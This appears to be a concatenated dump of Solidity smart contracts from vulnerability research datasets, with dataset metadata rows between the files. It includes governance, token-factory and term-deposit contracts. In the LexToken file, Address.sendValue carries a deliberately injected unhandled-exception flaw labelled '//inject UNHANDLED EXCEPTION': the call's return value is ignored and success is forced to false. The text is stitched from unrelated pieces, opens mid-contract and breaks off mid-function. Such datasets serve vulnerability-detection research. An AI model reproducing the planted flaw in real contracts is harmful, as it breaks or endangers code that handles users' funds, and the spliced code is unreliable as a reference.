// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CARB::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "CARB::delegateBySig: invalid nonce");
require(now <= expiry, "CARB::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "CARB::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "CARB::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 36,329 | 381 |
883c900e75c5235cda87268a5a8671882873d4ffc5633b200b1c28b8f6a3323b
| 34,508 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/unhandledException/manualCheck/0x42afc7798a18e7ce82aaa8965ac64b5662f954d0_unhandledException.sol
| 4,465 | 16,992 |
pragma solidity 0.5.14;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract LexDAORole is Context {
using Roles for Roles.Role;
event LexDAOAdded(address indexed account);
event LexDAORemoved(address indexed account);
Roles.Role private _lexDAOs;
modifier onlyLexDAO() {
require(isLexDAO(_msgSender()), "LexDAORole: caller does not have the LexDAO role");
_;
}
function isLexDAO(address account) public view returns (bool) {
return _lexDAOs.has(account);
}
function addLexDAO(address account) public onlyLexDAO {
_addLexDAO(account);
}
function renounceLexDAO() public {
_removeLexDAO(_msgSender());
}
function _addLexDAO(address account) internal {
_lexDAOs.add(account);
emit LexDAOAdded(account);
}
function _removeLexDAO(address account) internal {
_lexDAOs.remove(account);
emit LexDAORemoved(account);
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole is Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function _pause() internal whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = (false, bytes(msg.data));
recipient.call.value(amount)(""); //inject UNHANDLED EXCEPTION
require(success, "Address: unable to send value, recipient may have reverted");
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
require(!address(this).isContract(), "ERC20: decimals cannot be changed after construction");
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
}
contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
contract ERC20Capped is ERC20 {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded");
}
}
}
contract ERC20Mintable is MinterRole, ERC20 {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
contract ERC20Pausable is PauserRole, Pausable, ERC20 {
function _beforeTokenTransfer(address from, address to, uint256 amount) internal {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
interface IUniswap { // brief interface to call Uniswap protocol (. . .)
function createExchange(address token) external returns (address payable);
function getExchange(address token) external view returns (address payable);
}
contract LexToken is LexDAORole, ERC20Burnable, ERC20Capped, ERC20Mintable, ERC20Pausable {
// contextualizes token deployment and offered terms, if any
string public stamp;
// Uniswap exchange protocol references
IUniswap private uniswapFactory = IUniswap(0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95);
address public uniswapExchange;
constructor (string memory name,
string memory symbol,
string memory _stamp,
uint8 decimals,
uint256 cap,
uint256 initialSupply,
address owner,
address _lexDAO) public
ERC20(name, symbol)
ERC20Capped(cap) {
stamp = _stamp;
uniswapFactory.createExchange(address(this));
address _uniswapExchange = uniswapFactory.getExchange(address(this));
uniswapExchange = _uniswapExchange;
_mint(owner, initialSupply);
_addLexDAO(_lexDAO);
_addMinter(owner);
_addPauser(owner);
_setupDecimals(decimals);
}
function lexDAOburn(address account, uint256 amount) public onlyLexDAO returns (bool) {
_burn(account, amount); // lexDAO governance reduces token balance
return true;
}
function lexDAOmint(address account, uint256 amount) public onlyLexDAO returns (bool) {
_mint(account, amount); // lexDAO governance increases token balance
return true;
}
function lexDAOtransfer(address from, address to, uint256 amount) public onlyLexDAO returns (bool) {
_transfer(from, to, amount); // lexDAO governance transfers token balance
return true;
}
}
contract LexTokenFactory {
// presented by OpenESQ || lexDAO LLC ~ Use at own risk!
uint8 public version = 2;
// factory settings
string public stamp;
uint256 public factoryFee;
address payable public _lexDAO;
LexToken private LT;
address[] public tokens;
event LexTokenDeployed(address indexed LT, address indexed owner);
event LexDAOPaid(uint256 indexed payment, string indexed details);
constructor (uint256 _factoryFee, address payable lexDAO) public
{
stamp = "11111";
factoryFee = _factoryFee;
_lexDAO = lexDAO;
}
function newLexToken(// public can issue stamped lex token for factory ether (1) fee
string memory name,
string memory symbol,
string memory _stamp,
uint8 decimals,
uint256 cap,
uint256 initialSupply,
address owner) payable public {
require(_lexDAO != address(0));
LT = new LexToken(name,
symbol,
_stamp,
decimals,
cap,
initialSupply,
owner,
_lexDAO);
tokens.push(address(LT));
address(_lexDAO).transfer(msg.value);
emit LexTokenDeployed(address(LT), owner);
}
function getLexTokenCount() public view returns (uint256 LexTokenCount) {
return tokens.length;
}
function newFactoryFee(uint256 weiAmount) public returns (bool) {
require(msg.sender == _lexDAO);
factoryFee = weiAmount;
return true;
}
function payLexDAO(string memory details) payable public returns (bool) {
_lexDAO.transfer(msg.value);
emit LexDAOPaid(msg.value, details);
return true;
}
}
| 277,657 | 382 |
199b538ec6a8f3116deae94686754e2234624354faedf13880566e1f05d74ebb
| 16,231 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x8ee8313136ec02a4ed7d4861b34e7594f93b3757.sol
| 3,760 | 14,699 |
pragma solidity >=0.4.14 <0.6.0;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract WhitelistAdminRole {
using Roles for Roles.Role;
event WhitelistAdminAdded(address indexed account);
event WhitelistAdminRemoved(address indexed account);
Roles.Role private _whitelistAdmins;
constructor () internal {
_addWhitelistAdmin(msg.sender);
}
modifier onlyWhitelistAdmin() {
require(isWhitelistAdmin(msg.sender));
_;
}
function isWhitelistAdmin(address account) public view returns (bool) {
return _whitelistAdmins.has(account);
}
function addWhitelistAdmin(address account) public onlyWhitelistAdmin {
_addWhitelistAdmin(account);
}
function renounceWhitelistAdmin() public {
_removeWhitelistAdmin(msg.sender);
}
function _addWhitelistAdmin(address account) internal {
_whitelistAdmins.add(account);
emit WhitelistAdminAdded(account);
}
function _removeWhitelistAdmin(address account) internal {
_whitelistAdmins.remove(account);
emit WhitelistAdminRemoved(account);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
/// @author QuarkChain Eng Team
/// @title A simplified term deposit contract for ERC20 tokens
contract TermDepositSimplified is WhitelistAdminRole {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event DoDeposit(address indexed depositor, uint256 amount);
event Withdraw(address indexed depositor, uint256 amount);
event Drain(address indexed admin);
event Pause(address indexed admin, bool isPaused);
event Goodbye(address indexed admin, uint256 amount);
uint256 public constant MIN_DEPOSIT = 100 * 1e18; // => 100 QKC.
// Pre-defined terms.
bytes4 public constant TERM_2MO = "2mo";
bytes4 public constant TERM_4MO = "4mo";
bytes4 public constant TERM_6MO = "6mo";
struct TermDepositInfo {
uint256 duration;
uint256 totalReceived;
mapping (address => Deposit[]) deposits;
}
struct Deposit {
uint256 amount;
uint256 depositAt;
uint256 withdrawAt;
}
mapping (bytes4 => TermDepositInfo) private _termDeposits;
IERC20 private _token;
bool private _isPaused = false;
bytes4[] public allTerms = [TERM_2MO, TERM_4MO, TERM_6MO];
/// Constructor for the term deposit contract.
/// @param token ERC20 token addresses for term deposit
constructor(IERC20 token) public {
uint256 monthInSec = 2635200;
_token = token;
_termDeposits[TERM_2MO] = TermDepositInfo({
duration: 2 * monthInSec,
totalReceived: 0
});
_termDeposits[TERM_4MO] = TermDepositInfo({
duration: 4 * monthInSec,
totalReceived: 0
});
_termDeposits[TERM_6MO] = TermDepositInfo({
duration: 6 * monthInSec,
totalReceived: 0
});
}
/// Getter for token address.
/// @return the token address
function token() public view returns (IERC20) {
return _token;
}
/// Return a term deposit's key properties.
/// @param term the byte representation of terms
/// @return a list of deposit overview info
function getTermDepositInfo(bytes4 term) public view returns (uint256[2] memory) {
TermDepositInfo memory info = _termDeposits[term];
require(info.duration > 0, "should be a valid term");
return [
info.duration,
info.totalReceived
];
}
/// Deposit users tokens into this contract.
/// @param term the byte representation of terms
/// @param amount token amount in wei
function deposit(bytes4 term, uint256 amount) public {
require(!_isPaused, "deposit not allowed when contract is paused");
require(amount >= MIN_DEPOSIT, "should have amount >= minimum");
TermDepositInfo storage info = _termDeposits[term];
require(info.duration > 0, "should be a valid term");
Deposit[] storage deposits = info.deposits[msg.sender];
deposits.push(Deposit({
amount: amount,
depositAt: now,
withdrawAt: 0
}));
info.totalReceived = info.totalReceived.add(amount);
emit DoDeposit(msg.sender, amount);
_token.safeTransferFrom(msg.sender, address(this), amount);
}
/// Calculate amount of tokens a user has deposited.
/// @param depositor the address of the depositor
/// @param terms the list of byte representation of terms
/// @param withdrawable boolean flag for whether to require withdrawable
/// @return amount of tokens available for withdrawal
function getDepositAmount(address depositor,
bytes4[] memory terms,
bool withdrawable) public view returns (uint256[] memory)
{
uint256[] memory ret = new uint256[](terms.length);
for (uint256 i = 0; i < terms.length; i++) {
TermDepositInfo storage info = _termDeposits[terms[i]];
require(info.duration > 0, "should be a valid term");
Deposit[] memory deposits = info.deposits[depositor];
uint256 total = 0;
for (uint256 j = 0; j < deposits.length; j++) {
uint256 lockUntil = deposits[j].depositAt.add(info.duration);
if (deposits[j].withdrawAt == 0) {
if (!withdrawable || now >= lockUntil) {
total = total.add(deposits[j].amount);
}
}
}
ret[i] = total;
}
return ret;
}
/// Get detailed deposit information of a user.
/// @param depositor the address of the depositor
/// @param terms the list of byte representation of terms
/// @return 1 array for terms, 3 arrays of deposit amounts, deposit / withdrawal timestamps
function getDepositDetails(address depositor,
bytes4[] memory terms) public view returns (bytes4[] memory, uint256[] memory, uint256[] memory, uint256[] memory)
{
Deposit[][] memory depositListByTerms = new Deposit[][](terms.length);
// Collect count first because dynamic array in memory is not allowed.
uint256 totalDepositCount = 0;
for (uint256 i = 0; i < terms.length; i++) {
bytes4 term = terms[i];
TermDepositInfo storage info = _termDeposits[term];
require(info.duration > 0, "should be a valid term");
Deposit[] memory deposits = info.deposits[depositor];
depositListByTerms[i] = deposits;
totalDepositCount = totalDepositCount.add(deposits.length);
}
bytes4[] memory depositTerms = new bytes4[](totalDepositCount);
uint256[] memory amounts = new uint256[](totalDepositCount);
uint256[] memory depositTs = new uint256[](totalDepositCount);
uint256[] memory withdrawTs = new uint256[](totalDepositCount);
uint256 retIndex = 0;
for (uint256 i = 0; i < depositListByTerms.length; i++) {
Deposit[] memory deposits = depositListByTerms[i];
for (uint256 j = 0; j < deposits.length; j++) {
depositTerms[retIndex] = terms[i];
Deposit memory d = deposits[j];
amounts[retIndex] = d.amount;
depositTs[retIndex] = d.depositAt;
withdrawTs[retIndex] = d.withdrawAt;
retIndex += 1;
}
}
assert(retIndex == totalDepositCount);
return (depositTerms, amounts, depositTs, withdrawTs);
}
/// Withdraw a user's tokens plus interest to his/her own address.
/// @param terms the list of byte representation of terms
/// @return whether have withdrawn some tokens successfully
function withdraw(bytes4[] memory terms) public returns (bool) {
require(!_isPaused, "withdraw not allowed when contract is paused");
uint256 total = 0;
for (uint256 i = 0; i < terms.length; i++) {
bytes4 term = terms[i];
TermDepositInfo storage info = _termDeposits[term];
require(info.duration > 0, "should be a valid term");
Deposit[] storage deposits = info.deposits[msg.sender];
uint256 termTotal = 0;
for (uint256 j = 0; j < deposits.length; j++) {
uint256 lockUntil = deposits[j].depositAt.add(info.duration);
if (deposits[j].withdrawAt == 0 && now >= lockUntil) {
termTotal = termTotal.add(deposits[j].amount);
deposits[j].withdrawAt = now;
}
}
info.totalReceived = info.totalReceived.sub(termTotal);
total = total.add(termTotal);
}
if (total == 0) {
return false;
}
emit Withdraw(msg.sender, total);
_token.safeTransfer(msg.sender, total);
return true;
}
/// Return necessary amount of tokens to cover interests and referral bonuses.
/// @param terms the list of byte representation of terms
/// @return total deposit
function calculateTotalPayout(bytes4[] memory terms) public view returns (uint256) {
// [deposit, interest, bonus].
uint256 ret;
for (uint256 i = 0; i < terms.length; i++) {
TermDepositInfo memory info = _termDeposits[terms[i]];
require(info.duration > 0, "should be a valid term");
ret = ret.add(info.totalReceived);
}
return ret;
}
/// Leave enough tokens for payout, and drain the surplus.
/// @dev only admins can call this function
function drainSurplusTokens() external onlyWhitelistAdmin {
emit Drain(msg.sender);
uint256 neededAmount = calculateTotalPayout(allTerms);
uint256 currentAmount = _token.balanceOf(address(this));
if (currentAmount > neededAmount) {
uint256 surplus = currentAmount.sub(neededAmount);
_token.safeTransfer(msg.sender, surplus);
}
}
/// Pause deposit and withdraw
/// @dev only admins can call this function
function pause(bool isPaused) external onlyWhitelistAdmin {
_isPaused = isPaused;
emit Pause(msg.sender, _isPaused);
}
/// Drain remaining tokens and destroys the contract to save some space for the network.
/// @dev only admins can call this function
function goodbye() external onlyWhitelistAdmin {
// Make sure is after deposit deadline, and no received tokens.
for (uint256 i = 0; i < allTerms.length; i++) {
bytes4 term = allTerms[i];
TermDepositInfo memory info = _termDeposits[term];
require(info.totalReceived < 1000 * 1e18, "should have small enough deposits");
}
// Transfer remaining tokens.
uint256 tokenAmount = _token.balanceOf(address(this));
emit Goodbye(msg.sender, tokenAmount);
if (tokenAmount > 0) {
_token.safeTransfer(msg.sender, tokenAmount);
}
// Say goodbye.
selfdestruct(msg.sender);
}
}
| 192,033 | 383 |
163b41de8e5c61105f972b88dd3fe03326afcc854fbb9d9a95f24e5fa34d950a
| 31,451 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/da/DA909dF184AB8d0BB16B986edA947Fc09ae19d44_ShadowStakingV4.sol
| 5,157 | 19,276 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
